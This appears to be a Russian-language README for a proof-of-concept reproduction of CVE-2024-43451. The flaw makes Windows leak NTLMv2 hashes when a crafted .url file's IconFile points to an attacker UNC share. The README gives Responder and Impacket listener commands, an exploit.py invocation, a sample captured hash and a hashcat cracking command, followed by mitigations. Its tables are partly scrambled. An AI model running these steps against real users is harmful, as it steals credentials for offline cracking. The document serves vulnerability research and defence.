
Воспроизведение CVE: cve-2024-43451-ntlm_hash_disclosure_reproduction
CVE-2024-43451 — это уязвимость спуфинга в Windows, приводящая к раскрытию NTLMv2-хэша. Она позволяет неаутентифицированному удалённому злоумышленнику получить NTLM-хэш жертвы, убедив её взаимодействовать с вредоносным файлом ярлыка .url. Уязвимость срабатывает при минимальном взаимодействии с пользователем — достаточно просто щёлкнуть правой кнопкой мыши, удалить или переместить файл, чтобы произошла утечка хэша. Она имеет оценку CVSS 6.5 (средний уровень) и активно эксплуатировалась в реальных атаках. CISA добавила её в каталог Known Exploited Vulnerabilities (KEV).
NTLM (NT LAN Manager) — это протокол аутентификации с вызовом-ответом (challenge-response), используемый в Windows. Когда клиент пытается получить доступ к ресурсу по SMB, клиент и сервер выполняют рукопожатие:
NEGOTIATE_MESSAGE, содержащий поддерживаемые возможности.CHALLENGE_MESSAGE, содержащим 8-байтовый nonce (вызов сервера).AUTHENTICATE_MESSAGE, содержащим NTLMv2-хэш — HMAC-MD5 от вызова, объединённого с хэшем пароля пользователя, именем пользователя и доменом.Если злоумышленник может наблюдать или инициировать попытку аутентификации NTLM на подконтрольной ему машине, перехваченное сообщение AUTHENTICATE_MESSAGE можно взломать офлайн, чтобы восстановить пароль в открытом виде.
Файл .url — это файл ярлыка, используемый Internet Explorer и Windows Explorer для хранения ссылок. Это файл в формате INI с секцией [InternetShortcut]. Критически важные для эксплуатации поля:
URL= — целевой URL, который откроет Windows.IconFile= — необязательный UNC-путь к ресурсу значка. Когда Windows Explorer отображает файл, он автоматически пытается получить значок из удалённой общей папки, что вызывает попытку аутентификации NTLM на сервере злоумышленника.Злоумышленник создаёт файл .url с параметром IconFile, указывающим на \\attacker-ip\share\icon.ico. Когда жертва:
Windows Explorer пытается загрузить значок по UNC-пути, отправляя NTLMv2-хэш жертвы на SMB-слушатель злоумышленника (например, Responder).
Все поддерживаемые версии Windows до обновления Patch Tuesday за ноябрь 2024 года:
| Tool | Description |
|---|---|
| Responder | LLMNR/NBT-NS/mDNS-отравитель со встроенным SMB-сервером для захвата хэшей |
| Impacket |
С помощью Responder:
sudo responder -I eth0 -v
Или с помощью Impacket:
sudo impacket-smbserver share . -smb2support
python exploit.py --ip 192.168.1.100 --output malicious.url
Любое из следующих действий вызывает утечку хэша:
SMB-слушатель злоумышленника получает NTLMv2-хэш:
[SMB] NTLMv2-SSP Hash : victim::DOMAIN:1122334455667788:0123456789abcdef0123456789abcdef:010100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
hashcat -m 5600 captured.txt /usr/share/wordlists/rockyou.txt
# See exploit.py in this repository for a full PoC implementation.
# The script generates a .url file with IconFile set to:
# \\192.168.1.100\share\icon.ico
# and optionally a custom display icon via IconIndex.
smbserver.py можно использовать для организации простой SMB-шары |
| Inveigh | Инструмент перехвата NTLM на основе PowerShell для Windows |
| Мера | Описание |
|---|
| Установите ноябрьское обновление 2024 г. | Установите обновление безопасности Microsoft из KB5044285 |
| Заблокируйте исходящий SMB (порт 445) | Запретите NTLM-хэшам покидать периметр сети |
| Отключите NTLM, где возможно | Используйте аутентификацию только через Kerberos |
| Включите подпись SMB | Предотвращает relay-атаки, даже если хэши перехвачены |
| Обучение пользователей | Научите пользователей не взаимодействовать с неожиданными файлами .url |
| Ограничьте обработку файлов .url | Используйте групповые политики для блокировки выполнения файлов .url или их доставки по электронной почте |